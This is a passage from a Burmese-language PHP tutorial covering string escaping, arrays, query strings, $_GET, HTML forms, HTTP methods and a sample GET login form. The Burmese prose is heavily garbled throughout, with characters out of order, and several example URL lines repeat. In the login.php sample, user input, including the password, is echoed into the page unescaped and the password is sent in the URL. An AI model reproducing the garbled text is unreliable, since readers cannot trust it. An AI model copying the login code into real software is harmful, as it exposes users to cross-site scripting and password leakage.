ရေတဲ့ ( \' ) , Double Quote ိတထွည့်သွငး်လိုရေငအ်သံုးပပုရေတဲ့  ( \" ),  Dollar Sign Character ထည့်သွငး်လို
ရေင ်အသံုးပပုရေတဲ့ ( \$ ) နဲ့ Backslash တစ်ခထုည့်သွငး်လိုရေင် အသံုးပပုရေတဲ့ ( \\ ) တို့ပ ဲပဖေစ်ပါတယ်။ ဥပမာ - 

$name = "John Doe";
echo "Hello \$name, how are you doing?";

ရေလဒက်ြ "Hello $name, how are you doing?" ပဖေစ်မာှပဖေစ်ပါတယ်။ Double Quoted String တစ်ခပုဖေစ်ိပမယ့်
Dollar Sign  ကုိြ  Backslash  နဲ့  Escape  လုပထ်ားလို့  PHP  ကြ အဲဒီ  Dollar Sign  ကုိြ  Variable  တစ်ခရုေဲ့အစ
Operator အိနနဲ့အလပု် မလပု်ိ တာပ့ါဘးူ။ ဒါိအကြာင့် ိနာက်ြကြကြျနတ်ဲ့ name ဟာလညး် Variable မဟတု်ိ တာ့
ပ ဲရုိးရုိးစာလုံး တစ်လုံးပပဲဖေစ်သွားပါတယ။်

echo "Bob is \"24\" years old.";

-  လိုိ့ ရေးသားရေငလ်ညး်  Bob  is  "24"  years  old.  ဆုိတဲ့ရေလဒကုိ်ြရေရေှိမာှပါ။  Double  Quoted  String  ထမဲာှ
Double Quote ိတထွည့်သွငး်ထားိပမယ့် Escape လပုထ်ားတဲ့အတက်ွြ PHP ကြ အ့ဲဒီ Quote ိတကုိွြ Operator
အိနနဲ့  ထည့်သွငး်မစဉ်းစားတဲ့အခါ  String  ဖေွဲ့စညး်ပုံလပဲျက်ြမသွားိတာပ့ဲ  လိုအပတ်ဲ့ရေလဒကုိ်ြရေရေှိပခငး်ပဖေစ်ပါတယ်။
ဒါိအကြာင့် Double Quote (or) Single Quote နစ်ှသက်ြရောသံုးနိုငတ်ယ်ဆိုိ ပမယ့် ကုိြယ်လိုအပတ်ဲ့အတိုငး် မနှက်ြန်
ိအာင ်ိရေးွသံုးိပးဖေိုလ့ိုသလို Escape လုပသ်င့်တဲ့ Operator ိတကုိွြလညး် Escape လပု်ိ ပးဖေို့လိုအပမ်ာှပါ။ 

6.8 - PHP Arrays
PHP  မာှ  Array  ိတ ွိအကြပငာသတမ်တှလ်ိုရေင်  array() Function  ကုိြသံုးရေပါတယ်။  Array  နစ်ှမျို းရေှိပါတယ်။
Numeric Array လိုိ့ ခါ်တဲ့  Index ကုိြ နပံါတစ်ဉန်ဲ့သတမ်တှတ်ဲ့ Array နဲ့ Associative Array လိုိ့ ခါ်တဲ့  Index
ကုိြ  အမည်ိ ပးသတမ်တှထ်ားတဲ့  Array  တို့ပပဲဖေစ်ပါတယ်။  Associative Array  ဟာ  JavaScript  ရေဲ့  JSON  နဲ့
သိဘာ တရေားတပူါတယ်။

PHP ဟာလညး် JavaScript လိုပဲ Dynamic Type Language တစ်ခပုဖေစ်လို့ Array ိတတွည်ိ ဆာက်ြတဲ့ အခါမာှ
ထည့် သွငး်လိုတဲ့  Data Type  ကုိြ သတမ်တှဖ်ေို့မလိုသလို၊  Array  ရေဲ့  Size  ပမာဏကုိြလညး် သတမ်တှ်ိ ပးဖေိုမ့လိုပါ
ဘးူ။ Array တစ်ခပုဖေစ်ိအကြာငး် သတမ်တှပ်ပးီိနာက်ြမာှ နစ်ှသက်ြရောတနဖ်ေိုးကုိြ လုိသလိုထည့်သွငး်သွားလို့ရေပါတယ။် 
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$arr = array();
$arr[0] = "Foo";
$arr[1] = "Bar";
$arr[2] = "Baz";

(သုိမ့ဟတု်)

$arr = array("Foo", "Bar", "Baz");

array() Function နဲ့ Array Variable တစ်ခကုိုြ ိအကြပငာသတမ်တှပ်ပးီိနာက်ြ Index တစ်ခပုခငး်အလိုက်ြ တနဖ်ေိုး
ိတ ွလိုက်ြ ထည့ိ် ပးလို့ရေသလို၊ စတင်ိ အကြပငာကြတညး်ကြ array() Function ထဲမာှ ထည့်သွငး်လိုတဲ့ တနဖ်ေိုးိတွ
တနး်စီ ိပး လိုက်ြလညး်ရေရေှိတဲ့ သိဘာပဖေစ်ပါတယ်။ တုိိအာင ်ဒလီိုလညး်ိရေးလို့ရေပါိသးတယ်။ 

JavaScript  မာှ  Array  ိတကုိွြ  ိလးိဒါငး်ကွြင်း  အဖေငွ့အ်ပတိန်ဲ့  သတမ်တှခ်ဲ့တာ  မတှမ်ဦိးမာှပါ။  PHP  5.4  နဲ့
ိနာက်ြပိုငး်မာှလညး် ိလးိဒါင့်ကွြင်းိတကုိွြ Array သတမ်တှဖ်ေို ့အသံုးပပုနိုငလ်ာပါတယ်။ 

$arr = [];
$arr[0] = "Foo";
$arr[1] = "Bar";
$arr[2] = "Baz";

(သုိမ့ဟတု်)

$arr = [ "Foo", "Bar", "Baz" ];

ဒနီညး်ကြ PHP 5.3, PHP 5.2 စတဲ့ Version အနမိ့်ိ တမွာှ အလပုလ်ပုမ်ာှ မဟတုဘ်းူဆုိတာကုိြ သတပိပုပါ။ Array
ရေဲ့  Index တနဖ်ေိုးကုိြ မသတမ်တှပ်နဲဲ့လညး် တနဖ်ေိုးိတ ွထည့်သွငး်လို ့ရေပါတယ်။

$arr = [];
$arr[] = "Foo";
$arr[] = "Bar";
$arr[] = "Baz";

နမနူာမာှ  တနဖ်ေိုးိတထွည့်သွငး်တဲ့အခါမာှ  Index  နပံါတ်  ထည့်မိပးပါဘးူ။  PHP  ကြ  Index  တနဖ်ေိုးကုိြ  အလိုအ
ိလျှာက်ြ သတမ်တှထ်ည့်သွငး်ိပးသွားမာှပဖေစ်ပါတယ်။ ဒနီညး်ကြိတာ့ JavaScript မာှ သံုးလို့မရေပါဘးူ။  PHP  မာှ
ပ ဲရေပပးီ သူ့ိ နရောနဲ့သူ အသုံးဝငတ်ဲ့နညး် ပဖေစ်ပါတယ်။
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မတ်ှချကြ် ။ ။ PHP ဟာ Case Sensitive ပဖေစတ့ဲ် Language တစခ်ပုဖေစပ်ါတယ။် စာလံုးအကကြးီအိသး၊ သူ့ိ နရောနဲ့သမူနှ်ိ အာင်
သုံးိပးဖေို့လုိပါတယ။် ဒါိပမယ့်  Function  ိတွကြိတာ့ ခခငး်ချကြပ်ါ။  Function Name  ိတွကြို အကကြးီအိသး နစှသ်ကြသ်လုိ
ိခါ်ယ ူအသုံးပပုနိုငပ်ါတယ။် ဒါိအကြာင့် array() လုိသ့ုံးရေငမ်နှသ်လုိ  Array() လုိသ့ုံးရေင ်လညး် အလုပလု်ပမ်ာှပပဲဖေစပ်ါတယ။်

Array တစ်ခရုေဲ့  Index တစ်ခမုာှ ထည့်သွငး်ထားတာကြ ရုိးရုိးတနဖ်ေိုး မဟတုပ်ဲိ နာက်ြထပ် Array တစ်ခလုညး် ပဖေစ်
နိုငပ်ါိသးတယ်။  Static  Type Language  ိတမွာှိတာ့  Multi-Dimensional Array  လ့ုိိခါ်မာှပါ။  ဒါိပမယ့်
Multi-dimensional Array ဆုိတာကြ Array တစ်ခရုေဲ့  Index အားလုံးမာှ အိရေအတက်ွြအညအီမျှရေှိတဲ့ ိနာက်ြထပ်
Array  ိတကုိွြသိမ်းဆညး်တဲ့အခါ ိခါ်တာပဖေစ်လို့  PHP မာှိတာ့  Multi-dimensional Array  လ့ုိမိခါ်သင့်ဘးူလို့
ယူဆပါတယ်။ Array တစ်ခရုေဲ့  Index တစ်ခမုာှ တနဖ်ေိုးတစ်ခက့ဲုြသုိ့ အပခား Array တစ်ခကုိုြ သိမး်ဆညး်ထားပခင်းမျှ
သာပဖေစ်ပါတယ်။ ပုံ (၆-ဍ) မာှိလလ့ာအကြည့်ပါ။

ပုံ (၆-ဍ) PHP Numeric Array

တနဖ်ေိုးိတအွတွဲလိုက်ြသိမး်ဆညး်ထားတဲ့ $array ရေဲ့  Index [2] နဲ့ Index [3] တိုမာှ ိနာက်ြထပတ်နဖ်ေိုး ိတကုိွြ
Array အိနနဲ့ပဲ အတွဲလိုက်ြဆက်ြလက်ြသိမး်ဆညး်ထားပါတယ်။ ဒါိပမယ့် Index [0], [1] နဲ့ [4] တို့မာှိတာ့
Array မဟတုတ်ဲ့ ရုိးရုိးတနဖ်ေိုး တစ်ခစီုကုိြသာသိမ်းဆညး်ထားပါတယ်။

ိနာက်ြ Array တစ်မျို းပဖေစ်တဲ့ Associative Array သတမ်တှအ်သုံးပပုပုံကြလညး် Numeric Array နဲ့တပူါတယ။်
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$arr = array();
$arr["foo"] = "Apple";
$arr["bar"] = "Orange";
$arr["baz"] = "Mango";

(သုိမ့ဟတု်)

$arr = array("foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango");

(သုိမ့ဟတု်)

$arr = [ "foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango" ];

array() Function (သုိမ့ဟတု်)  ိလးိထာင့်ကွြငး်ကုိြ အသံုးပပုသတမ်တှ်ိ ပးရေပါတယ်။  JSON  သတမ်တှစ်ဉက်ြ
Key  နဲ့  Value  တို့ကုိြ   Colon ( :  )  နဲ့  ခွဲပခားသတမ်တှ်ိ ပးရေတာကုိြ မတှမ်ပိါလမိ့်ဦးမယ်။   PHP Associative
Array ိတမွာှိတာ့ Key နဲ့ Value ကုိြ မျှားသိကြအင်္ဂတ ( => ) ိလးနဲ့ ခွဲပခားသတမ်တှ်ိ ပးရေပါတယ်။ Associative
Array နဲ့ Numeric Array ိတကုိွြ လုိအပရ်ေင ်ိပါငး်စပအ်သံုးပပုလို့ ရေပါတယ်။ ပုံ (၆-ဎ) မာှိလလ့ာ အကြည့်ပါ။ 

ပုံ (၆-ဎ) PHP Associative Array
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ပုံ (၆-ဎ) မာှ နမနူာိဖောပ်ပတဲ့အခါ $array[foo] ဆုိတဲ့ိ ရေးဟနန်ဲ့ိ ဖောပ်ပထားိပမယ့် လက်ြိတွ့မာှ  Array Index
Key ကုိြ Single Quote သုိမ့ဟတု ်Double Quote နဲ့ ထည့်သွင်းအသံုးပပုသင့်ပါတယ်။ ဥပမာ - 

echo $array['baz']['a'];

Array Index Key ကုိြ  Quote ထမဲထည့်လညး် အလပု်ိ တာလ့ပုပ်ါတယ်။ ဒါိပမယ့် PHP ကြ ိလးိဒါင့်ကွြင်းထဲ
မာှမို့ Array Index Key ပဖေစ်ိအကြာငး်ကိြု စစ်ိဆးသိရေှိရေတာပဖေစ်ပါတယ။် တစ်ခါတညး် Quote ထထဲည့်ိ ပးလိုက်ြရေင်
PHP ကြ စစ်ိဆးိနစရော မလိုိ တာလ့ို့ Performance အားပဖေင့် ပိုိ ကြာငး်မာှပဖေစ်ပါတယ်။

6.9 - Request Handling with PHP
Document  သုိမ့ဟတု် အချက်ြအလက်ြိတကုိွြရေယူလိုလို့  Server  ထံကြိန ိတာငး်ခတံဲ့အခါမာှ အသုံးပပုသူဘက်ြကြ
လညး် တစ်ချို ့ အချက်ြအလက်ြိတ ွပပန်ိ ပးဖေို့လိုတက်ြပါတယ။်  ဥပမာ - Google Search ဆုိပါစုိ။့ ရောှိဖေမွှုရေလဒရ်ေယူ
လိုသူကြ ရောှိဖေလွိုတဲ့ အချက်ြအလက်ြကုိြိတာ့ အရေင်ိ ပးဖေို့လိုပါတယ်။ PHP ရေဲ့  အိရေးအပါဆံုး လပု်ိ ဆာငခ်ျက်ြတစ်ခု
ကြိတာ့  Request  နဲ့အတူ အသံုးပပုသူတွဲဖေက်ြထည့် သွငး်ိပးလိုက်ြတဲ့ အချက်ြအလက်ြိတကုိွြ လက်ြခစီံမနံိုငပ်ခငး်ပဖေစ်
ပါတယ်။

အသံုးပပုသူကြ  နညး်လမး်နစ်ှမျို းနဲ့  အချက်ြအလက်ြိတွိ ပးပိုန့ိုငပ်ါတယ်။  ပထမနညး်လမး်ကြိတာ့  URL  Query
String ကုိြ အသံုးပပုပခငး်ပဖေစ်ပါတယ်။ ဥပမာ - "heaviest bells" ဆုိတဲ့ Keywords အတက်ွြ Search Result ရေယူ
လိုရေင ်URL Query String နဲ့ Google ကုိြ အခလုို Request လပုယူ်နိုငပ်ါတယ်။
 
http://www.google.com/search  ?  q=heaviest+bells  

Search Result Page ပဖေစ်တဲ့  search ကုိြ တိုက်ြရုိကြ်  Request  လပုပ်ခငး်ပဖေစ်ပပီး ိနာက်ြကြိန q=heaviest+bells
ဆုိတဲ့  Query String  ကုိြ တွဲဖေက်ြိပးလိုက်ြတာပါ။  Google  ရေဲ့  Server-side Script  ကြ "heaviest bells"  ဆုိတဲ့
Keywords အတက်ွြ ရေလဒကုိ်ြ လိုချငမ်နှး်သိရေှိပပီး သင့်ိ တာတ်ဲ့ Result ကုိြ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။

Query String အပဖေစ် ိပးပိုလ့ိုတဲ့တနဖ်ေိုးိတကုိွြ URL ထဲမာှ Resource Location ရေဲ့ိနာက်ြကြ Question Mark
(?) Sign ိလးခပံပးီ အတွဲလိုက်ြထည့်သွငး်ိပးပိုန့ိုငပ်ါတယ်။ တနဖ်ေိုးိတကုိွြ  Key=Value ပုံစံနဲ့ ထည့်သွငး်ိပးရေပါ
တယ်။ နမနူာိပးထားတဲ့ q=heaviest+bells မာှ q ကြ Key ပဖေစ်ပပးီ heaviest+bells ကြိတာ့ Value ပဖေစ်ပါတယ်။
Key=Value တစ်စံုနဲ့တစ်စံုအကြားမာှ Ampersand ( & ) သိကြအင်္ဂတနဲ့ ခွဲပခားထည့်သွငး် နိုငပ်ါတယ်။ ဥပမာ - 

http://www.google.com/search  ?  q=heaviest+bells  &  hl=my  

q=heaviest+bells နဲ့ hl=my ဆုိတဲ့ တနဖ်ေိုးနစ်ှခကုိုြ & သိကြအင်္ဂတနဲ့တွဲဖေက်ြထည့်သွငး်ိပးလိုက်ြပခငး်ပဖေစ်ပါတယ်။ နစ်ှ
ခထုက်ြမကြ ထည့်သွင်းလိုရေငလ်ညး်ိနာက်ြကြိန & သိကြအင်္ဂတနဲ့ပ ဲဆက်ြလက်ြတွဲဆက်ြထည့်သွငး်ိပးနိုငပ်ါတယ်။

http://www.google.com/search?q=heaviest+bells&hl=my
http://www.google.com/search?q=heaviest+bells&hl=my
http://www.google.com/search?q=heaviest+bells&hl=my
http://www.google.com/search?q=heaviest+bells&hl=my
http://www.google.com/search?q=heaviest+bells&hl=my
http://www.google.com/search?q=heaviest+bells
http://www.google.com/search?q=heaviest+bells
http://www.google.com/search?q=heaviest+bells
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ပုံ (၆-ဏ) Query String

ပုံ  (၆-ဏ) မာှ ိဖောပ်ပထားတဲ့ Browser Screenshot ရေဲ့  URL Bar ကုိြ ိလလ့ာအကြည့်ပါ။ ကြျွန်ိ တာတ်ို့ နမနူာိပး
ထားတဲ့အတိုငး်  Request  လပုထ်ားတဲ့  URL ကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။  heaviest bells  အတက်ွြ ရေလဒကုိ်ြ ိဖောပ်ပ
ိပးတဲ့ အခါ hl=my လ့ုိိပပာထားတဲ့အတက်ွြ Interface ကုိြ ပမနမ်ာဘာသာနဲ့ိ ဖောပ်ပိပးိနပခငး်ပဖေစ်ပါတယ်။

PHP  ကြ  URL  Query  String  နဲ့အတပူါလာတဲ့တနဖ်ေိုးိတကုိွြ  Associative  Array  တစ်ခအုိနနဲ့  $_GET
Superglobal Variable  ထဲမာှ  အလိုအိလျှာက်ြလက်ြခထံည့်သွငး်ိပးထားိပးပါတယ်။  Superglobal Variable
ဆုိတာ  PHP  Language  ကြိအကြပငာသတမ်တှထ်ားပပးီ  လုိအပတ်ဲ့ိ နရောတိုငး်ကြိနရေယူအသံုးပပုနိုငတ်ဲ့  Variable
ိတပွဖေစ်ပါတယ်။ လက်ြခ ံထားပုံကုိြ ပုံ (၆-တ) မာှိလလ့ာ အကြည့်ပါ။

ပုံ (၆-တ) Query String and $_GET Superglobal
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ကြျွန်ိ တာတ်ို့ ရေယူ အသံုးပပုသညပ်ဖေစ်ိစ မသံုးသညပ်ဖေစ်ိစ URL Query String အိနနဲ့ အသံုးပပုသူ ိပးပို့လာတဲ့
အချက်ြ အလက်ြိတကွြိတာ့ $_GET Variable ထဲမာှ အပမရဲေှိိ နမာှပဖေစ်ပါတယ။် ကြျွန်ိ တာတ်ို့ရေဲ့   PHP Script ိတွ
ထမဲာှ ဒတီနဖ်ေိုးိတွိ ပါ် မတူညပ်ပးီ လိုသလိုဆက်ြလက်ြိဆာငရ်ေက်ွြနိုင်ိ စမာှပါပပဲဖေစ်ပါတယ်။

မတ်ှချကြ်  ။  ။ $_GET အပပင်  အပခား  Superglobal  Variable  ိတွရေှိပါိသးတယ။်  ဆကြလ်ကြ်ိ ဖောပ်ပိပးသာွးပါမယ။်
Superglobal ိတွရေဲ့ထူးပခားချကြက်ြ အပမတဲမး် Underscore ( $_ ) နဲ့အစပပုပပးီ ကြျနစ်ာလံုးိတွကြို စာလံုးကကြးီနဲ့သတ်မတ်ှထား
ိလ့ရေှိပခငး်ပဖေစပ်ါ တယ။် ( ဥပမာ  - $_GET, $_POST, $_COOKIE, $_SESSION )

Query String  ိတဟွာ သူ့ိ နရောနဲ့သူအသံုးဝင်ိ ပမယ့် သာမာနအ်သံုးပပုသူိတအွတက်ွြ သိရေှိမတှမ်ဖိေိုမ့လယ်ွပါဘးူ။
ဒီိ နရောမာှ  အသံုးဝငလ်ာတာကြိတာ့  HTML Form  ပဖေစ်ပါတယ်။  အချက်ြအလက်ြိတ ွ ပဖေည့်သွငး်နိုငတ်ဲ့  HTML
Form  တစ်ခု ိပးထားမယ် ဆုိရေင်ိ တာ့ အသံုးပပုသူိတကွြိပးပို့လိုတဲ့ အချက်ြအလက်ြိတကုိွြ အလယ်ွတစ်ကူြထည့်
သွငး်ိပးနိုငမ်ာှပါ။  HTML Form မာှ ပဖေည့်သွင်းပပးီိပးပိုလ့ာတဲ့ အချက်ြအလက်ြိတကုိွြလညး် PHP ကြ လက်ြဆင့်
ကြမး် ရေယူနိုငပ်ါတယ်။ အချက်ြအလက်ြိတွိ ပးပို့နိုငတ်ဲ့  HTML Form တစ်ခပုဖေစ်ဖေို့အတက်ွြ မပဖေစ်မိနပါဝငသ်င့်တဲ့
အချက်ြတစ်ချို ့ရေှိပါတယ်။ နမနူာအိနတစ်ခ ုိဖောပ်ပိပးလိုက်ြပါတယ်။

<form action="login.php" method="get">

  <input type="text" name="email">
  <input type="password" name="password">

  <input type="submit" value="Login"> 

</form>

HTML  <form> Element  မာှ  action နဲ့  method Attribute  တို့  မပဖေစ်မိနပါဝငသ်င့်ပါတယ်။  action
Attribute ရေဲ့  Value အိနနဲ့ ိပးပိုလ့ာတဲ့အချက်ြအလက်ြိတကုိွြ လက်ြခစီံမမံယ့်  PHP Script ရေှိရော URL ကုိြိပးရေ
ပါတယ်။  နမနူာမာှိတာ့  login.php လ့ုိိပးထားတဲ့အတက်ွြ  ဒီ  Form  ကြိပးပိုတ့ဲ့  အချက်ြအလက်ြိတကုိွြ
login.php Script  ကြ လက်ြခစီံမမံာှပါ။ အကြယ်၍  Form  ပါဝငတ်ဲ့  Document  နဲ့  လက်ြခစီံမမံယ့်  Script  တို့
Folder Root မတရူေင်ိ တာ့  URL ကုိြလညး် အပပည့်အစံုိပးရေမာှပဖေစ်ပါတယ်။ နမနူာမာှိတာ့  Folder တစ်ခတုညး်
မာှရေှိတယ်ဆုိတဲ့သိဘာနဲ့ Script Name ပ ဲိပးထားပါတယ်။

method Attribute မာှိတာ့ အသံုးပပုလိုတဲ့ HTTP Request Method ကုိြထည့်သွင်းိပးရေမာှပါ။ အခန်း (၁) မာှ
HTTP Request Method ိတအွိအကြာငး် မတိဆ်က်ြိဖောပ်ပခဲ့ပါတယ်။ ပပုလပုတ်ဲ့  Request  ရေဲ့  ရေညရ်ေယ်ွချက်ြိပါ်မူ
တညပ်ပးီ သင့်ိ တာတ်ဲ့ Method ကုိြ အသံုးပပုိပးရေမာှပဖေစ်ပါတယ်။ Method တစ်ခခုျငး်စီကုိြ W3C ကြ သူ့အဓပိ္ပါယ်နဲ့
သူ သတမ်တှ်ိ ပးထားပါတယ်။ 

GET Method  ကုိြ  အချက်ြအလက်ြိတရွေယူဖေိုအ့တက်ွြ  အသံုးပပုရေပါတယ်။  GET  Method  အသံုးပပုထားတဲ့
Request  ိအကြာင့်  Server  မာှ  အိပပာငး်အလတဲစ်ခခုမုပဖေစ်ိပါ်ိစသင့်ဘးူလို့  သတမ်တှထ်ားပါတယ်။   POST
Method ကုိြ Server မာှ အချက်ြ အလက်ြအသစ် ိတဖွေနတ်းီိစလိုတဲ့အခါ အသံုးပပုရေပါတယ။် ဥပမာ - Document
အသစ်တစ်ခု  ဖေနတ်းီိစလိုပခငး်၊  အချက်ြအလက်ြတစ်ခကုိုြ  Database  ထဲကုိြ ထည့်သွငး်ိစပခငး်တိုက့ဲ့ြသုိ့  လုပ်ိ ဆာင်
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ချက်ြမျို းိတအွတက်ွြ အသံုးပပုရေပါတယ်။  PUT Method  ကုိြိတာ့  Server  မာှ  ရေှိိ နတဲ့  အချက်ြအလက်ြတစ်ခကုိုြ
ပပငဆ်င်ိ စလိုတဲ့အခါ အသံုးပပုရေပါတယ်။ DELETE Method ကုိြိတာ့ Server ိပါ်မာှရေှိတဲ့ အချက်ြအလက်ြ တစ်ခု
ပယ်ဖေျက်ြလိုက်ြိစလိုတဲ့အခါ အသံုးပပုရေပါတယ်။ 

GET, POST, PUT, DELETE Method  ိလးမျို းကိြုိ ဖောပ်ပခဲ့ိ ပမယ့် လက်ြိတွ့မာှ  GET နဲ့  POST နစ်ှမျို းသာ
HTML Form  ိတနွဲ့  တွဲဖေက်ြအသံုးပပုလို့  ရေပါတယ်။  ဒါိအကြာင့်  GET  ကုိြ  အချက်ြအလက်ြရေယူဖေိုသံု့းပပီး၊  အချက်ြ
အလက်ြိတ ွဖေနတ်းီ၊ ပပငဆ်ငဖ်ေိုန့ဲ့ ပယ်ဖေျက်ြဖေို့တို့ အတက်ွြ POST တစ်မျို းတညး်ကိြသုာ အသုံးပပုအကြပါတယ်။ PUT နဲ့
DELETE ကုိြိတာ ့Web Service API ိတ ွတည်ိ ဆာက်ြတဲ့အခါမာှသာ သံုးအကြပါတယ်။

ကြျွန်ိ တာ့်တိုိ့ လလ့ာလက်ြစကုိြပပန်ိ ကြာက်ြပါမယ်။  <form> Element ရေဲ့  action Attribute မာှ Form ကြ ိပးပို့
လာတဲ့  အချက်ြအလက်ြိတကုိွြ  လက်ြခံိ ဆာငရ်ေက်ွြိစလိုတဲ့  Script  URL  ထည့်သွငး်ိပးရေမာှ  ပဖေစ်ပပးီ၊  method
Attribute မာှိတာ့ get သုိမ့ဟတု် post ကုိြ ထည့်သွငး်ိပးရေမာှပဖေစ်ပါတယ်။ HTML Attribute Value ပဖေစ်လို့
စာလုံးအကကီြးအိသးပပဿနာမရေှိပါဘးူ။ နစ်ှသက်ြသလိုိ ရေးသားနိုငပ်ါတယ်။ နမနူာမာှိတာ့  get ကုိြထည့်သွငး်ိပး
ထားပါတယ်။ ဆက်ြလက်ြပပးီ သတပိပုရေမာှကြိတာ ့Form Input ိတမွာှ name Attribute ပါဝငဖ်ေို့ လုိအပပ်ခင်းပဖေစ်ပါ
တယ်။ ိနာက်ြဆံုးလိုအပခ်ျက်ြ ကြိတာ့  Submit Button ပါ။ Form တစ်ခရုေဲ့  အိပခခအံလပုလ်ပုပ်ုံကုိြ ပုံ (၆-ထ) မာှ
ိဖောပ်ပထား ပါတယ်။

ပုံ (၆-ထ) HTML Form အလပုလ်ပုပ်ုံ
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6.10 - GET Requests
နမနူာတစ်ခုိ လာက်ြစမး်သပဖ်ေိုအ့တက်ွြ  htdocs Folder ထဲမာှ auth အမညန်ဲ့ Folder တစ်ခတုည်ိ ဆာက်ြပါ။ ပပးီ
ရေင်  index.php နဲ့  login.php အမညကုိ်ြယ်စီနဲ့  File  နစ်ှခဆုက်ြလက်ြတည်ိ ဆာက်ြပါ။  index.php ထဲမာှ
HTML Structure အပပည့်အစံုထည့်သွငး်ပပးီ <body> အတငွး်မာှ ဒ ီForm ကုိြ ကူြးထည့်ိ ပးပါ။

<form action="login.php" method="get"> 
  <label for="email">Email (or) User ID</label><br> 
  <input type="text" name="email" id="email"><br> 

  <label for="password">Password</label><br> 
  <input type="password" name="password" id="password"><br><br> 

  <input type="submit" value="Login"> 
</form>

Email  နဲ့  Password ပဖေည့်သွငး်စရော Input နစ်ှခနုဲအ့တူ  Submit Button တစ်ခကုိုြ Form အတငွး်မာှ ထည့်သွငး်
ိပးထားပါတယ်။ ခုိ န Browser မာှ http://localhost/auth/ လို့ရိက်ုြထည့်လိုက်ြရေင် ပုံ (၆-ဒ) မာှိဖောပ်ပထားတဲ့ပုံစံ
အတိုငး် ိတွ့ ပမငရ်ေမာှ ပဖေစ်ပါတယ်။

ပုံ (၆-ဒ) Login Form in Browser

မတ်ှချကြ် ။ ။ ထူးပခားချကြတ်စခ်ကုြိုသတိပပုပါ။ Browser URL Bar မာှ auth Folder Name ကြိုသာ ထည့်သငွး်ိပးထားပပးီ
Login Form ရေှိိ နတ့ဲ Document ကြို ထည့်သငွး်ိပးမထားပါဘးူ။ ဒါိပမယ့် index.php ကြိုိ ဖောပ်ပိနပါတယ။် XAMPP ကြ
index.php (သို့)  index.html ကြို  Folder  Home  Page  အပဖေစအ်သုံးပပုဖေို့  စစီဉထ်ားတ့ဲ  အတွကြပ်ဖေစပ်ါတယ။်  Web
Server ကြ index.php (သို့) index.html အမညန်ဲ့ Document တစခ်ခုု Folder ထဲမာှရေှိိ နသလားလုိကြရ်ောှပါတယ။် ရေှိိ န
ရေင် ိဖောပ်ပိပးပပးီ မရေှိိ တာမ့ှ  Directory Browsing  ကြို ပပိပးမာှပဖေစပ်ါတယ။် ပပးီခဲ့တ့ဲနမနူာမာှ  index.php မရေှိတ့ဲအတွကြ်
Directory Browsing ကြိို ဖောပ်ပခဲ့ပပးီဒနီမနူာမာှ index.php ရေှိိ နတ့ဲအတွကြ ်index.php ကြို ိဖောပ်ပိနပခငး်ပဖေစပ်ါတယ။်

http://localhost/auth/
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ဆက်ြလက်ြပပးီ  login.php ထဲမာှလညး်  HTML  အပပည့်အစံုိရေးသားပပးီ  <body> အတငွး်မာှ  ဒီ  PHP Code
ိတကုိွြ ကူြးယူထည့်သွငး်ိပးပါ။

<?php 
$email = $_GET['email']; 
$password = $_GET['password']; 

if($email && $password) 
  echo "Hello, you have provided <b>$email</b> as your login ID ",
       "and your password is <b>$password</b>."; 
else 
  echo "Login ID or password missing! ",
       "Please <a href='index.php'>try again</a>."; 
?>

စမး်သပဖ်ေို့အတက်ွြ Login Form မာှ Email နဲ့  Password ိတပွဖေည့်သွငး်ပပးီ Submit Button ကုိြ နှိပအ်ကြည့်ပါ။ ပုံ
(၆-ဓ) မာှ ိဖောပ်ပထားသလို ရေလဒမ်ျို းကုိြ ရေရေှိရေမာှပဖေစ်ပါတယ်။

ပုံ (၆-ဓ) Request From Login Form

Browser မာှိဖောပ်ပိနတဲ့ ရေလဒထ်က်ြ URL Bar ကုိြ သတပိပုအကြည့်ပါ။ URL ပုံစံကြ အခလုိုပဖေစ်ိနနိုငပ်ါတယ်။

http://localhost/auth/login.php  ?  email=test%40gmail.com  &  password=123abc45  

login.php ိနာက်ြမာှ Query String တစ်ခကုြ အလိုအိလျှာက်ြပါဝင်ိ နတာကုိြ ိတွ့ရေမာှပဖေစ်ပါတယ်။

name= "email" လို့  သတမ်တှထ်ားတဲ့  Input  မာှ  test@gmail.com လို့  ရုိက်ြထည့်ခဲ့တဲ့အတက်ွြ  Query
String မာှ email=test%40gmail.com ဆုိတဲ့အပိုင်း ပါဝင်ိ နတာပါ။ name="password" လ့ုိ သတမ်တှ်
ထားတဲ့  Input  မာှရိက်ုြထည့်ခဲ့တဲ့  တနဖ်ေိုးကုိြလညး်  ိနာက်ြ  Query  Value  တစ်ခအုပဖေစ်  အလိုအိလျှာက်ြတွဲဖေက်ြ
ထည့်သွငး်ိပးထားပါတယ်။

http://localhost/auth/login.php?email=test@gmail.com&password=123abc45
http://localhost/auth/login.php?email=test@gmail.com&password=123abc45
http://localhost/auth/login.php?email=test@gmail.com&password=123abc45
http://localhost/auth/login.php?email=test@gmail.com&password=123abc45
http://localhost/auth/login.php?email=test@gmail.com&password=123abc45
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မတ်ှချကြ ်။ ။ Web URL တစခ်အုတွငး်မာှ Space နဲ့ တစခ်ျို့  Special Character ိတွကြိုလကြမ်ခလုိံ ့Browser ကြ @ Sign ကြို
%40 လုိ့ အလုိလုိ Encode လုပ်ိ ပးသာွးတာကြိုသတိပပုသင့်ပါတယ။် အပခား Special Character ိတွအတွကြလ်ညး် သူ့ Code
နဲ့  သရူေှိိ ပမယ့် ကြျွန်ိ တာတုိ်တုိ့ကြရုိ်ကြ် ကြိုငတွ်ယ်ိ ပဖေရေငှး်ရေမယ့် ပပဿနာမဟတ်ုလုိ့  ထည့်သငွး်မတ်ှသားမိနပါနဲ့ိ တာ။့   Form
Value  ိတွကြို  Browser  ကြ အလုိလို  Encode  လုပ်ိ ပးသာွးပါလိမ့်မယ။် တစခ်ါတစရ်ေံ  မပဖေစမ်ိန ကုိြယတုိ်င်  Encode  လုပဖ်ေို့
လုိအပလ်ာရေငလ်ညး် PHP ရေဲ့  urlencode() Function ကြိုအသုံးပပုနိုငပ်ါတယ။် urlencode() Function ကြ ိပးလာတ့ဲ
URL တစခ်ု အတွငး်ကြ Special Character ိတွကြို လုိအပသ်လိ ုEncode လုပပ်ပးီ ပပန်ိ ပးနိုငပ်ါတယ။်

Form တစ်ခတုည်ိ ဆာက်ြိပးလိုက်ြပခငး်အားပဖေင့် အသံုးပပုသူကြ Query String ကုိြ  URL မာှကုိြယ်တိုင် ရုိကြထ်ည့်
